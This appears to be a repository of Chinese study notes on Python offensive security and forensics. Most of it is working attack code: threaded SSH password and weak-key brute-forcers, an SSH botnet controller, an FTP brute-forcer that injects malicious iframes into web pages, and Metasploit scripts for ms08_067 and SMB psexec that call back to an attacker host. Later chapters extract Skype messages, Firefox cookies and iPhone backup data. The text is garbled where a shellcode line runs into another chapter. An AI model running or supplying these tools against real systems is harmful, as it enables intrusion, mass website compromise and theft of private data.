267 | print(parser.usage)
268 | exit(-1)
269 |
270 | with open(password_file, "r") as f:
271 | for line in f.readlines():
272 | if found:
273 | print("[*] Exiing: Password Found")
274 | exit(0)
275 | if fails > 5:
276 | print("[!] Exiting: Too Many Socket Timeouts")
277 | exit(-1)
278 | connection_lock.acquire()
279 | password = line.strip("\r\n")
280 | print("[-] Testing: {}".format(password))
281 | t = threading.Thread(target=connect, args=(host, user, password, True))
282 | child = t.start()
283 |
284 | if __name__ == "__main__":
285 | main()
286 | ```
287 |
288 | iPhone 设备上 root 用户的默认密码为:`alpine`,当设备越狱后,用户会在 iPhone 上启用一个 OpenSSH 服务
289 |
290 | ### 利用 SSH 中的弱私钥
291 |
292 | 对于 SSH 服务器,密码验证并不是唯一的手段。除此之外,SSH 还能使用公钥加密的方式进行验证。在使用这一验证方法时,服务器和用户分别掌握公钥和私钥。使用 RSA 或是 RSA 算法,服务器能生成用于 SSH 登录的密钥。
293 |
294 | 不过,2006 年 Debian Linux 发行版中发生了一件有意思的事。软件自动分析工具发现了一行已被开发人员注释掉的代码。这行被注释掉的代码用来确保创建 SSH 密钥的信息量足够大。被注释掉之后,密钥空间的大小的熵值降低到只有 15 位大小。此时可能的密钥只有 32767 个。Rapid7 的 CSO 和 HD Moore 在两个小时内生成了所有的 1024 位和 2048 位算法的可能的密钥。而且,把结果放在了[网上](http://digitaloffense.net/tools/debianopenssl/)中,大家都可以下载使用。
295 |
296 | 由此可以进行暴力破解,在使用密钥登录 SSH 时,需要键入 `ssh user@host -i keyfile -o PasswordAuthentication=no` 格式的一条命令。DEMO 代码如下:
297 |
298 | ```python
299 | import pexpect
300 | import optparse
301 | import os
302 | import threading
303 |
304 | max_connections = 5
305 | connection_lock = threading.BoundedSemaphore(value=max_connections)
306 | stop = False
307 | fails = 0
308 |
309 | def connect(user, host, key_file, release):
310 | global stop, fails
311 | try:
312 | perm_denied = "Permission denied"
313 | ssh_new_key = "Are you sure you want to continue"
314 | conn_closed = "Connection closed by remote host"
315 |
316 | opt = " -o PasswordAuthentication=no"
317 | conn_str = "ssh {}@{} -i {}{}".format(user, host, key_file, opt)
318 | child = pexpect.spawn(conn_str)
319 | ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_new_key, conn_closed, "$", "#", ])
320 | if ret == 2:
321 | print("[-] Adding Host to !/.ssh/known_hosts")
322 | child.sendline("yes")
323 | connect(user, host, key_file, False)
324 | elif ret == 3:
325 | print("[-] Connection Closed By Remote Host")
326 | fails += 1
327 | elif ret > 3:
328 | print("[+] Success. {}".format(key_file))
329 | stop = True
330 | finally:
331 | if release:
332 | connection_lock.release()
333 |
334 | def main():
335 | parser = optparse.OptionParser("usage %prog -H -u -d ")
336 | parser.add_option("-H", dest="target_host", type=str, help="specify target host")
337 | parser.add_option("-d", dest="pass_dir", type=str, help="specify directory with keys")
338 | parser.add_option("-u", dest="user", type=str, help="specify the user")
339 |
340 | options, args = parser.parse_args()
341 | target_host = options.target_host
342 | pass_dir = options.pass_dir
343 | user = options.user
344 |
345 | if target_host is None or pass_dir is None or user is None:
346 | print(parser.usage)
347 | exit(-1)
348 |
349 | for file_name in os.listdir(pass_dir):
350 | if stop:
351 | print("[*] Exiting: Key Found.")
352 | exit(0)
353 | if fails > 5:
354 | print("[!] Exiting: Too Many Connections Closed By Remote Host.")
355 | print("[!] Adjust number of simultaneous threads.")
356 | exit(0)
357 | connection_lock.acquire()
358 |
359 | full_path = os.path.join(pass_dir, file_name)
360 | print("[-] Testing keyfile {}".format(full_path))
361 | t = threading.Thread(target=connect, args=(user, target_host, full_path, True))
362 | child = t.start()
363 |
364 | if __name__ == "__main__":
365 | main()
366 | ```
367 |
368 | ### 构建 SSH 僵尸网络
369 |
370 | 每个单独的僵尸或者 client 都需要有能连上某台肉机,并把命令发送给肉机的能力
371 |
372 | ```python
373 | import optparse
374 | import pexpect.pxssh as pxssh
375 |
376 | bot_net = list()
377 |
378 | class Client:
379 | def __init__(self, host, user, password):
380 | self.host = host
381 | self.user = user
382 | self.password = password
383 | self.session = self.connect()
384 |
385 | def connect(self):
386 | try:
387 | s = pxssh.pxssh()
388 | s.login(self.host, self.user, self.password)
389 | return s
390 | except Exception as e:
391 | print(e)
392 | print("[-] Error Connecting")
393 |
394 | def send_command(self, cmd):
395 | self.session.sendline(cmd)
396 | self.session.prompt()
397 | return self.session.before
398 |
399 | def bot_net_command(command):
400 | for client in bot_net:
401 | output = client.send_command(command)
402 | print("[*] Output from {}".format(client.host))
403 | print("[+] {}".format(output))
404 |
405 | def add_client(host, user, password):
406 | client = Client(host, user, password)
407 | bot_net.append(client)
408 |
409 | if __name__ == "__main__":
410 | add_client("10.10.10.110", "root", "toor")
411 | add_client("10.10.10.120", "root", "toor")
412 | add_client("10.10.10.130", "root", "toor")
413 | bot_net_command("uname -v")
414 | bot_net_command("cat /etc/issue")
415 | ```
416 | ## 利用 FTP 与 Web 批量抓 “肉机”
417 |
418 | ### 用 Python 构建匿名 FTP 扫描器
419 |
420 | 可以利用 Python 中的 ftplib 库编写一个小脚本,确定一个服务器是否允许匿名登录
421 |
422 | ```python
423 | import ftplib
424 | def anon_login(hostname):
425 | try:
426 | ftp = ftplib.FTP(hostname)
427 | ftp.login("anonymous", "me@your.com")
428 | print("[*] {} FTP Anonymous Logon Succeeded.".format(host))
429 | ftp.quit()
430 | return True
431 | except Exception as e:
432 | print("[-] {} FTP Anonymous Logon Failed.".format(host))
433 | return False
434 |
435 |
436 | if __name__ == "__main__":
437 | host = "192.168.158.161"
438 | anon_login(host)
439 | ```
440 |
441 | ### 使用 Ftplib 暴力破解 FTP 用户口令
442 |
443 | `FileZilla` 之类的 FTP 客户端程序往往将密码以明文形式存储在配置文件中
444 |
445 | 只要将上面的 `ftp.login()` 替换上对应的用户名和密码就可以验证了
446 |
447 | ### 在 FTP 服务器上搜索网页
448 |
449 | 使用 `nlst` 函数,这会列出目录中所有文件的命令
450 |
451 | ```python
452 | dir_list = ftp.nlst()
453 | ```
454 |
455 | ### 在网页中加入恶意注入代码
456 |
457 | 直接使用 `metasploit` 框架生成:
458 |
459 | ```shell
460 | msfcli exploit/windows/browser/ms10_002_aurora
461 | ```
462 |
463 | 上传的命令:
464 |
465 | ```python
466 | ftp.storlines("STOR {}".format(page), open("{}.tmp".format(page)))
467 | ```
468 |
469 | ### 完整的代码 DEMO
470 |
471 | 虽然很多余,但还是把整个流程打一遍吧
472 |
473 | ```python
474 | import ftplib
475 | import optparse
476 | import time
477 |
478 | def anon_login(hostname):
479 | try:
480 | ftp = ftplib.FTP(hostname)
481 | ftp.login("anonymous", "me@your.com")
482 | print("[*] {} FTP Anonymous Logon Succeeded.".format(hostname))
483 | ftp.quit()
484 | return True
485 | except Exception as e:
486 | print("[-] {} FTP Anonymous Logon Failed.".format(hostname))
487 | return False
488 |
489 | def brute_login(hostname, password_file):
490 | pf = open(password_file, "r")
491 | for line in pf.readlines():
492 | time.sleep(1)
493 | user_name = line.split(":")[0]
494 | password = line.split(":")[1].strip("\r\n")
495 | print("[+] Trying: {}/{}".format(user_name, password))
496 |
497 | try:
498 | ftp = ftplib.FTP(hostname)
499 | ftp.login(user_name, password)
500 | print("[*] {} FTP Logon Succeeded: {}/{}".format(hostname, user_name, password))
501 | ftp.quit()
502 | return user_name, password
503 | except Exception as e:
504 | pass
505 | print("[-] Could not brute force FTP credentials.")
506 | return None, None
507 |
508 | def return_default(ftp):
509 | dir_list = list()
510 | try:
511 | dir_list = ftp.nlst()
512 | except:
513 | print("[-] Could not list directory contents.")
514 | print("[-] Skipping To Next Target.")
515 | return dir_list
516 |
517 | ret_list = list()
518 | for file_name in dir_list:
519 | fn = file_name.lower()
520 | if ".php" in fn or ".htm" in fn or ".asp" in fn:
521 | print("[+] Found default page: {}".format(file_name))
522 | ret_list.append(file_name)
523 |
524 | return ret_list
525 |
526 | def inject_page(ftp, page, redirect):
527 | f = open("{}.tmp".format(page), "w")
528 | ftp.retrlines("RETR {}".format(page), f.write)
529 | print("[+] Downloaded Page: {}".format(page))
530 | f.write(redirect)
531 | f.close()
532 |
533 | print("[+] Injected Malicious IFrame on: {}".format(page))
534 | ftp.storlines("STOR {}".format(page), open("{}.tmp".format(page)))
535 | print("[+] Uploaded Injected Page: {}".format(page))
536 |
537 | def attack(username, password, target_host, redirect):
538 | ftp = ftplib.FTP(target_host)
539 | ftp.login(username, password)
540 | def_pages = return_default(ftp)
541 | for def_page in def_pages:
542 | inject_page(ftp, def_page, redirect)
543 |
544 | def main():
545 | parser = optparse.OptionParser("usage%prog -H -r [-f ]")
546 |
547 | parser.add_option("-H", dest="target_hosts", type=str, help="specify target host")
548 | parser.add_option("-f", dest="password_file", type=str, help="specify user/password file")
549 | parser.add_option("-r", dest="redirect", type=str, help="specify a redirection page")
550 |
551 | options, args = parser.parse_args()
552 | target_hosts = str(options.target_hosts).split(", ")
553 | password_file = options.password_file
554 | redirect = options.redirect
555 |
556 | if target_hosts is None or redirect is None:
557 | print(parser.usage)
558 | exit(-1)
559 |
560 | for target_host in target_hosts:
561 | username, password = None, None
562 | if anon_login(target_host):
563 | username, password = "test", "test"
564 | print("[+] Using Anonymous Creds to attack")
565 | attack(username, password, target_host, redirect)
566 | elif password_file is not None:
567 | username, password = brute_login(target_host, password_file)
568 | if password is not None:
569 | print("[+] Using Creds: {}/{} to attack".format(username, password))
570 | attack(username, password, target_host, redirect)
571 |
572 | if __name__ == "__main__":
573 | main()
574 | ```
575 | ## Conficker,为什么努力做就够了
576 |
577 | 蠕虫病毒,Conficker(或称为 W32DownandUp),在其基本的感染方法中,Conficker 蠕虫使用了两种不同的攻击方法。首先利用了 Windows 服务器中一个服务的 0Day 漏洞。利用这个栈溢出漏洞,蠕虫能在被感染的主机上执行 ShellCode 并下载蠕虫。当这种攻击失败时,Conficker 蠕虫又尝试暴力破解默认的管理员网络共享(`ADMIN$`)的口令以获取肉机访问权。
578 |
579 | ### 使用 Metasploit 攻击 Windows SMB 服务
580 |
581 | 虽然攻击者可以通过交互驱动的方式使用 Metasploit,但 Metasploit 也能读取批处理脚本(rc)完成攻击。在攻击时,Metasploit 会顺序执行批处理文件中的命令。
582 |
583 | ```shell
584 | use exploit/windows/smb/ms08_067_netapi
585 | set RHOST 192.168.1.37
586 | set PAYLOAD windows/meterpreter/reverse_tcp
587 | set LHOST 192.168.77.77
588 | set LPORT 7777
589 | exploit -j -z
590 |
591 | msfconsole -r conficker.rc
592 | > sessions -i 1
593 | > execute -i -f cmd.exe
594 | ```
595 |
596 | ### 编写 Python 脚本与 Metasploit 交互
597 |
598 | 首先需要扫描网段内所有开放 445 端口的主机,TCP 445 端口主要是作为 SMB 协议的默认端口用的
599 |
600 | ```python
601 | import nmap
602 | def find_target(sub_net):
603 | nm_scan = nmap.PortScanner()
604 | nm_scan.scan(sub_net, "445")
605 | target_hosts = list()
606 | for host in nm_scan.all_hosts():
607 | if nm_scan[host].has_tcp(445):
608 | state = nm_scan[host]["tcp"][445]["state"]
609 | if state == "open":
610 | print("[+] Found Target Host: {}".format(host))
611 | return target_hosts
612 | ```
613 |
614 | 接下来需要编写一个监听器,这个监听器或称命令与控制信道,用于与目标主机进行远程交互
615 |
616 | Metasploit 提供了一个 Meterpreter 的高级动态负载,当 Meterpreter 进程回连接到攻击者的计算机等候执行进一步的命令时,要使用一个名为 `multi/handler` 的 Metasploit 模块去发布命令。接下来需要把各条指令写入 Metasploit 的 rc 脚本中
617 |
618 | ```python
619 | def setup_handler(config_file, lhost, lport):
620 | config_file.write("use exploit/multi/handler\n")
621 | config_file.write("set PAYLOAD windows/meterpreter/reverse_tcp\n")
622 | config_file.write("set LPORT {}\n".format(lport))
623 | config_file.write("set LHOST {}\n".format(lhost))
624 | config_file.write("exploit -j -z\n")
625 | config_file.write("setg DisablePayloadHandler 1\n")
626 | ```
627 |
628 | 注意脚本发送了一条指令:在同一个任务(job)的上下文环境中(-j),不与任务进行即时交互的条件下(-z)利用目标计算机上的漏洞
629 |
630 | ```python
631 | def conficker_exploit(config_file, target_host, lhost, lport):
632 | config_file.write("use exploit/windows/smb/ms08_067_netapi\n")
633 | config_file.write("set RHOST {}\n".format(target_host))
634 | config_file.write("set PAYLOAD windows/meterpreter/reverse_tcp\n")
635 | config_file.write("set LPORT {}\n".format(lport))
636 | config_file.write("set LHOST {}\n".format(lhost))
637 | config_file.write("exploit -j -z\n")
638 | ```
639 |
640 | ### 暴力破解口令,远程执行一个进程
641 |
642 | 需要用暴力攻击的方式破解 SMB 用户名/密码,以此获取权限在目标主机上远程执行一个进程(psexec)
643 |
644 | ```python
645 | def smb_brute(config_file, target_host, passwd_file, lhost, lport):
646 | username = "Administrator"
647 | pf = open(passwd_file, "r")
648 | for password in pf.readlines():
649 | password = password.strip("\r\n")
650 | config_file.write("use exploit/windows/smb/psexec\n")
651 | config_file.write("set SMBUser {}\n".format(username))
652 | config_file.write("set SMBPass {}\n".format(password))
653 | config_file.write("set RHOST {}\n")
654 | config_file.write("set PAYLOAD windows/meterpreter/reverse_tcp\n")
655 | config_file.write("set LPORT {}\n".format(lport))
656 | config_file.write("set LHOST {}\n".format(lhost))
657 | config_file.write("exploit -j -z\n")
658 | ```
659 |
660 | ### 整合
661 |
662 | 最主要的是 main 函数如何与 metasploit 交互,发现是通过 rc 文件
663 |
664 | ```python
665 | config_file = open("meta.rc", "w")
666 | ...
667 | os.system("msfconsole -r meta.rc")
668 | ```
669 |
670 | ## 编写你自己的 0day 概念验证代码
671 |
672 | Morris 蠕虫成功的原因在某种程度上其实就是利用了 Finger service 中的一个基于栈的缓冲区溢出
673 |
674 | ### 基于栈的缓冲区溢出攻击
675 |
676 | ```python
677 | shellcode = ("\xbf\x5c....")
678 | overflow = "\x41" * 246
679 | ret = struct.pack("\ProfileImagePath`,看到返回的是 `%SystemDrive%\Documents and Settings\` 值。通过 `reg query` 命令,可以直接把 SID 转成用户名
110 |
111 | ```shell
112 | C:\RECYCLER>reg query "HKEY_LOCAL...." /v ProfileImagePath
113 | ```
114 |
115 | 通过 Python 实现,打开注册表检查 ProfileImagePath 键,提取出其中存放的值,并返回位于用户路径中最后一个反斜杠之后的用户名
116 |
117 | ```python
118 | from _winreg import *
119 | def sid2user(sid):
120 | try:
121 | key = OpenKey(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\{}".format(sid))
122 | value, type = QueryValueEx(key, "ProfileImagePath")
123 | user = value.split("\\")[-1]
124 | return user
125 | except:
126 | return sid
127 | ```
128 |
129 | ## 元数据
130 |
131 | 作为一种文件里非明显可见的对象,元数据可以存在于文档、电子表格、图片、音频和视频文件中。创建这些文件的应用程序可能会把文档的作者、创建和修改时间、可能的更新版本和注释这类详细信息存储下来。
132 |
133 | ### 使用 PyPDF 解析 PDF 文件中的元数据
134 |
135 | PyPDF 允许提取文档中的内容,或对文档进行分割、合并、复制、加密和解密操作。若要提取元数据,可以使用 `.getDocumentInfo()` 方法,该方法会返回一个 tuple 数组,每个 tuple 中都含有对元数据元素的一个描述及它的值。逐一遍历这个数组,就能打印出 PDF 文档的所有元数据。
136 |
137 | ```python
138 | import pyPdf
139 | from pyPdf import PdfFileReader
140 | def print_meta(file_name):
141 | pdf_file = PdfFileReader(file(file_name, "rb"))
142 | doc_info = pdf_file.getDocumentInfo()
143 | print("[*] PDF MetaData For: {}".format(file_name))
144 | for meta_item in doc_info:
145 | print("[+] {}:{}".format(meta_item, doc_info[meta_item]))
146 | ```
147 |
148 | ### 理解 Exif 元数据
149 |
150 | Exif(exchange image file format,交换图像文件格式)标准定义了如何存储图像和音频文件的标准。
151 |
152 | Exif 标准中含有多个对取证调查非常有用的标签(tag),工具 `exiftool` 用它可以解析这些标签。
153 |
154 | ### 用 BeautifulSoup 下载图片
155 |
156 | BeautifulSoup 允许我们快速解析 HTML 和 XML 文档
157 |
158 | 实现查找所有 img 标签并下载:
159 |
160 | ```python
161 | import urllib2
162 | from bs4 import BeautifuleSoup
163 | from urlparser import urlsplit
164 | from os.path import basename
165 |
166 | def find_images(url):
167 | print("[+] Finding images on {}".format(url))
168 | url_content = urllib2.urlopen(url).read()
169 | soup = BeautifulSoup(url_content)
170 | img_tags = soup.findAll("img")
171 | return img_tags
172 |
173 | def download_image(img_tag):
174 | try:
175 | print("[+] Downloading image...")
176 | img_src = img_tag["src"]
177 | img_content = urllib2.urlopen(img_src).read()
178 | img_file_name = basename(urlsplit(img_src)[2])
179 | img_file = open(img_file_name, "wb")
180 | img_file.write(img_content)
181 | img_file.close()
182 | return img_file_name
183 | except:
184 | return ""
185 | ```
186 |
187 | ### 用 Python 的图像处理库读取图片中的 Exif 元数据
188 |
189 | 利用 PIL 库提取 GPS 元数据:
190 |
191 | ```python
192 | from PIL import Image
193 | from PIL.ExifTags import TAGS
194 |
195 | def test_for_exif(image_file_name):
196 | try:
197 | exif_data = {}
198 | img_file = Image.open(image_file_name)
199 | info = img_file._getexif()
200 | if info:
201 | for tag, value in info.items():
202 | decoded = TAGS.get(tag, tag)
203 | exif_data[decoded] = value
204 | exif_gps = exif_data["GPSINFO"]
205 | if exif_gps:
206 | print("[*] {} contains GPS MetaData".format(img_file_name))
207 | except:
208 | pass
209 | ```
210 |
211 | ## 用 Python 分析应用程序的使用记录
212 |
213 | ### 理解 Skype 中的 SQLite3 数据库
214 |
215 | 在 Windows 系统中,Skype 在 `C:\Documents and Settings\\ApplicationData\Skype\` 目录中存储了一个名为 `main.db` 的数据库。在 macOS 系统中,这个数据库的存储路径为 `/Users//Library/Application Support/Skype/`
216 |
217 | 连接 SQLite3 数据库后 `SELECT tbl_name FROM sqlite_master WHERE type=='table'`,SQLite 数据库维护一张名为 `sqlite_master` 的表,这张表中含有一个名为 `tbl_name` 的列,其中描述了数据库中的各张表。
218 |
219 | Accounts 表记录了使用该应用程序的用户账户的相关信息,其中的各列记录了用户名、Skype 的昵称、用户的位置和创建该账户的日期等信息。
220 |
221 | 数据库是以 UNIX 时间格式存储账户创建时间的,SQL 方法 `datetime()` 可以把这个值转换成更方便阅读的格式
222 |
223 | ### 使用 Python 和 SQLite3 自动查询 Skype 的数据库
224 |
225 | ```python
226 | import sqlite3
227 | def print_profile(skype_db):
228 | conn = sqlite3.connect(skype_db)
229 | c = conn.cursor()
230 | c.execute("SELECT fullname, skypename, city, country, datetime(profile_timestamp, 'unixepoch') FROM Accounts;")
231 | for row in c:
232 | print("[*] -- Found Account --")
233 | print("[+] User: {}".format(row[0]))
234 | print("[+] Skype Username: {}".format(row[1]))
235 | print("[+] Location: {},{}".format(row[2], row[3]))
236 | print("[+] Profile Date: {}".format(row[4]))
237 | ```
238 |
239 | 多表处理:
240 |
241 | ```python
242 | def print_call_log(skype_db):
243 | conn = sqlite3.connect(skype_db)
244 | c = conn.cursor()
245 | c.execute("SELECT datetime(begin_timestamp, 'unixepoch'), identity FROM calls, conversations WHERE calls.conv_dbid = conversations.id;")
246 | print("[*] -- Found Calls --")
247 | for row in c:
248 | print("[+] Time: {} | partner: {}".format(row[0], row[1]))
249 | ```
250 |
251 | Skype 的数据库会把所有发送和收到的消息都保存在数据库中。数据库中把这些信息存放在一张名为 `Messages` 的表中。从这张表中用 SELECT 语句选出 timestamp、`dialog_partner`、author 和 `body_xml`。注意,如果 `dialog_partner` 和 author 字段是不一样的,那么就是数据库的所有者发送这条消息给 `dialog_partner` 的。反之,如果 `dialog_partner` 和 author 字段是一样的,就是 `dialog_partner` 发送的这条消息,这时需要在消息前加一个 `from`
252 |
253 | ```python
254 | def print_messages(skype_db):
255 | conn = sqlite3.connect(skype_db)
256 | c = conn.cursor()
257 | c.execute("SELECT datetime(timestamp, 'unixepoch'), dialog_partner, author, body_xml FROM Messages;")
258 | print("[*] -- Found Messages --")
259 | for row in c:
260 | try:
261 | if "partlist" not in str(row[3]):
262 | if str(row[1]) != str(row[2]):
263 | msg_direction = "To {}: ".format(row[1])
264 | else:
265 | msg_direction = "From {}: ".format(row[2])
266 | print("Time: {} {} {}".format(row[0], msg_direction, row[3]))
267 | except:
268 | pass
269 | ```
270 |
271 | ### 其他有用的一些 Skype 查询语句
272 |
273 | 只想打印出联系人列表中其生日不为空的联系人:
274 |
275 | ```sql
276 | SELECT fullname, birthday FROM contacts WHERE birthday > 0;
277 | ```
278 |
279 | 只想输出 conversation 表中只与某个特定的 `` 相关的通话记录:
280 |
281 | ```sql
282 | SELECT datetime(timestamp, 'unixepoch'), dialog_partner, author, body_xml, FROM Messages WHERE dialog_partner=''
283 | ```
284 |
285 | 要删除 conversation 表中只与某个特定的 `` 相关的通话记录
286 |
287 | ```sql
288 | DELETE FROM messages WHERE skypename=''
289 | ```
290 |
291 | ### 用 Python 解析火狐浏览器的 SQLite3 数据库
292 |
293 | 在 Windows 操作系统中,火狐把这些数据库存放在 `"C:/Documents and Settings//Application Data/Mozilla/Firefox/Profiles//"` 目录中,在 macOS 系统中,火狐把这些数据库存放在 `"/Users//Library/Application Support/Firefox/Profiles/"` 目录中
294 |
295 | 文件 `downloads.sqlite` 数据库时火狐用户下载文件的相关信息。其中只有一张名为 `moz_downloads` 的表记录了文件名、源下载地址、下载时间、文件大小、引用(referrer)和本地存放该文件的路径。
296 |
297 | ```python
298 | import sqlite3
299 | def print_downloads(download_db):
300 | conn = sqlite3.connect(download_db)
301 | c = conn.cursor()
302 | c.execute("SELECT name, source, datetime(endTime/1000000, 'unixepoch') FROM moz_downloads;")
303 | print("[*] --- Files Downloaded ---")
304 | for row in c:
305 | print("[+] File: {} from source: {} at: {}".format(row[0], row[1], row[2]))
306 | ```
307 |
308 | 数据库 `moz_cookies` 表中保存的是 cookie 相关的数据。
309 |
310 | ```python
311 | def print_cookies(cookies_db):
312 | try:
313 | conn = sqlite3.connect(cookie_db)
314 | c = conn.cursor()
315 | c.execute("SELECT host, name, value FROM moz_cookies")
316 | print("[*] --- Found Cookies ---")
317 | for row in c:
318 | host = row[0]
319 | name = row[1]
320 | value = row[2]
321 | print("[+] Host: {}, Cookie: {}, Value: {}".format(host, name, value))
322 | except Exception as e:
323 | if "encrypted" in str(e):
324 | print("[*] Error reading your cookies database.")
325 | print("[*] Upgrade your Python-Sqlite3 Library")
326 | ```
327 |
328 | 上网历史记录保存在 `places.sqlite` 的数据库中,其中的 `moz_places` 表可以给出关于用户在何时(时间)访问了何处(地址)的网站信息。ForensicWiki 网站上建议使用 `moz_places` 和 `moz_historyvisits` 表中的数据,以获取一张真正的浏览器上网历史记录。
329 |
330 | ```sql
331 | SELECT url, datetime(visit_date/1000000, 'unixepoch') FROM moz_places, moz_historyvisits WHERE visit_count > 0 AND moz_places.id == moz_historyvisits.place_id;
332 | ```
333 |
334 | ### 用 Python 调查 iTunes 的手机备份
335 |
336 | 苹果的 iOS 操作系统实际上会跟踪和记录设备的 GPS 经纬度信息,并把它们存储在 `consolidated.db` 的数据库中。其中有一张名为 `Cell-Location` 的表,其中含有手机已经收集到的 GPS 定位点。在备份移动设备时,记录到计算机的移动设备的副本也含有这一信息。尽管 iOS 操作系统设计的功能会删除这些地理位置信息,但调查发现这些数据仍然存在。
337 |
338 | 当用户对 iPhone/iPad 设备进行备份时,它会把相关文件存放到计算机中一个特定的目录中。在 Windows 操作系统中,iTunes 应用程序会把数据存放在用户目录下的移动设备备份目录中(`C:/Documents and Settings//Application Data/AppleComputer/MobileSync/Backup`),而在 macOS 中,这个目录则是 `/Users//Library/Application Support/MobileSync/Backup/`。对移动设备进行备份的 iTunes 程序会把所有的设备备份文件都存放在这个目录中。
339 |
340 | 为了获取关于文件的信息,用 UNIX 命令 `file` 来分析各个文件的文件类型。可以看到移动设备备份目录中有一些 SQLite3 数据库文件、JPEG 图片文件、纯二进制文件和 ASCII 文本文件
341 |
342 | 可以用脚本快速列举出在整个移动设备备份目录中每一个数据库中所有表的表名:
343 |
344 | ```sql
345 | SELECT tbl_name FROM sqlite_master WHERE type=="table"
346 | ```
347 |
348 | 每个 SQLite 数据库中都会维护一张名为 `sqlite_master` 的表,其中含有整个数据库结构的信息,记录了整个数据库中各张表的结构。
349 |
350 | 含有 `message` 表的库即为文本消息数据库,可以把发送时间、对方手机号码以及消息本身打印出来:
351 |
352 | ```sql
353 | SELECT datetime(date, 'unixepoch'), address, text FROM message WHERE address > 0;
354 | ```
--------------------------------------------------------------------------------
/第4章用Python分析网络流量.md:
--------------------------------------------------------------------------------
1 | # 第 4 章 用 Python 分析网络流量
2 |
3 | ## IP 流量将何去何从?——用 Python 回答
4 |
5 | 把一个网际协议地址(IP 地址)和它所在的物理地址关联起来,可以用 MaxMind 公司提供的一个可以免费获取的开源数据库 GeoLiteCity。有了这个数据库,就可以把 IP 地址与对应的国家、邮政编码、国家名称以及常规经纬度坐标关联起来。
6 |
7 | ### 使用 PyGeoIP 关联 IP 地址和物理位置
8 |
9 | Jennifer Ennis 编写了一个查询 GeoLiteCity 数据库的纯 Python 库——pygeoip。城市(city)、区域名称(`region_name`)、邮政编码(`postal_code`)、国名(`country_name`)、经纬度以及其他识别信息的记录
10 |
11 | ```python
12 | import pygeoip
13 | gi = pygeoip.GeoIP("/opt/GetIP/Geo.dat")
14 | def print_record(target):
15 | rec = gi.recory_by_name(target)
16 | city = rec["city"]
17 | region = rec["region_name"]
18 | country = rec["country_name"]
19 | long = rec["longitude"]
20 | lat = rec["latitude"]
21 | print("[*] Target: {} Geo-located.".format(target))
22 | print("[+] {}, {}, {}".format(city, region, country))
23 | print("[+] Latitude: {}, Longitude: {}".format(lat, long))
24 | target = "173.255.226.98"
25 | print_record(target)
26 | ```
27 |
28 | ### 使用 Dpkt 解析包
29 |
30 | Dpkt 允许逐个分析抓包文件里的各个数据包,并检查数据包中的每个协议层。也可以使用 pypcap 分析当前的实时流量。
31 |
32 | ```python
33 | import dpkt
34 | import socket
35 | def print_pcap(pcap):
36 | for ts, buf in pcap:
37 | try:
38 | eth = dpkt.ethernet.Ethernet(buf)
39 | ip = eth.data
40 | src = socket.inet_ntoa(ip.src)
41 | dst = socket.inet_ntoa(ip.dst)
42 | print("[+] Src: {} --> Dst: {}".format(src, dst))
43 | except:
44 | pass
45 |
46 | def main():
47 | f = open("geotest.pcap")
48 | pcap = dpkt.pcap.Reader(f)
49 | print_pcap(pcap)
50 | ```
51 |
52 | ### 使用 Python 画谷歌地图
53 |
54 | 谷歌地图能在一个专门的界面中显示出一个虚拟地球仪、地图和地理信息。虽然用的是专用的界面,但谷歌地图可以让你很方便地在地球仪上画出指定位置或轨迹。通过创建一个扩展名为 KML 的文本文件,用户可以把许多个地理位置标在谷歌地球上。KML 是有特定规定的 XML 结构。
55 |
56 | 写一个函数 `ret_KML` 接收一个 IP,并返回表示该 IP 地址对应物理地址的 KML 结构
57 |
58 | ```python
59 | def ret_kml(ip):
60 | rec = gi.record_by_name(ip)
61 | try:
62 | longitude = rec["longitude"]
63 | latitude= rec["latitude"]
64 | kml = (
65 | "\n"
66 | "%s\n"
67 | "\n"
68 | "%6f,%6f\n"
69 | "\n"
70 | "\n"
71 | ) % (ip, longitude, latitude)
72 | return kml
73 | except Exception as e:
74 | return ""
75 | ```
76 |
77 | 可能想要使用不同的图标来表示不同类型的网络流量,比如可以用源和目标 TCP 端口来区分不同的网络流量。可以查看谷歌 KML 文档。
78 |
79 | ## “匿名者” 真能匿名吗?分析 LOIC 流量
80 |
81 | LOIC(Low Orbit Ion Cannon,低轨道离子炮)是一个分布式拒绝服务工具包。
82 |
83 | LOIC 使用大量的 UDP 和 TCP 流量对目标进行拒绝服务式攻击。
84 |
85 | LOIC 提供两种操作模式。在第一种模式下,用户可以输入目标的地址。在第二种被称为 HIVEMIND(蜂群)的模式下,用户将 LOIC 连接到一台 IRC 服务器上,在这台服务器上,用户可以提出攻击,连接在这台服务器上的 IRC 的用户就会自动对该目标进行攻击
86 |
87 | ### 使用 Dkpt 发现下载 LOIC 的行为
88 |
89 | 编写一个 Python 脚本来解析 HTTP 流量,并检查其中有无通过 HTTP GET 获取压缩过的 LOIC 二进制可执行文件的情况。要做到这一点,需要再次使用 Dug Song 的 Dpkt 库。
90 |
91 | ```python
92 | import dpkt
93 | import socket
94 |
95 | def find_download(pcap):
96 | for ts, buf in pcap:
97 | try:
98 | eth = dpkt.ethernet.Ethernet(buf)
99 | ip = eth.data
100 | src = socket.inet_ntoa(ip.src)
101 | tcp = ip.data
102 | http = dpkt.http.Request(tcp.data)
103 | if http.method == "GET":
104 | uri = http.uri.lower()
105 | if ".zip" in uri and "loic" in uri:
106 | print("[!] {} Download LOIC.".format(src))
107 | except:
108 | pass
109 | f = open()
110 | pcap = dpkt.pcap.Reader(f)
111 | find_download(pcap)
112 | ```
113 |
114 | ### 解析 Hive 服务器上的 IRC 命令
115 |
116 | “匿名者” 成员需要登录到指定的 IRC 服务器上发出一条攻击指令,如 `!lazor targetip=66.211.169.66 message=test_test port=80 method=tcp wait=false random=true start`。任何把 LOIC 以 HIVEMIND 模式连上 IRC 服务器的“匿名者”成员都能立即开始攻击该目标。
117 |
118 | 在大多数情况下,IRC 服务器使用的是 TCP 6667 端口。发往 IRC 服务器的消息的目标 TCP 端口应该就是 6667。从 IRC 服务器那里发出消息的 TCP 源端口也应该是 6667。
119 |
120 | ```python
121 | import dpkt
122 | import socket
123 | def find_hivemind(pcap):
124 | for ts, buf in pcap:
125 | try:
126 | eth = dpkt.ethernet.Ethernet(buf)
127 | ip = eth.data
128 | src = socket.inet_ntoa(ip.src)
129 | dst = socket.inet_ntoa(ip.dst)
130 | tcp = ip.data
131 | dport = tcp.dport
132 | sport = tcp.sport
133 | if dport == 6667:
134 | if "!lazor" in tcp.data.lower():
135 | print("[!] DDoS Hivemind issued by: {}".format(src))
136 | print("[+] Target CMD: {}".format(tcp.data))
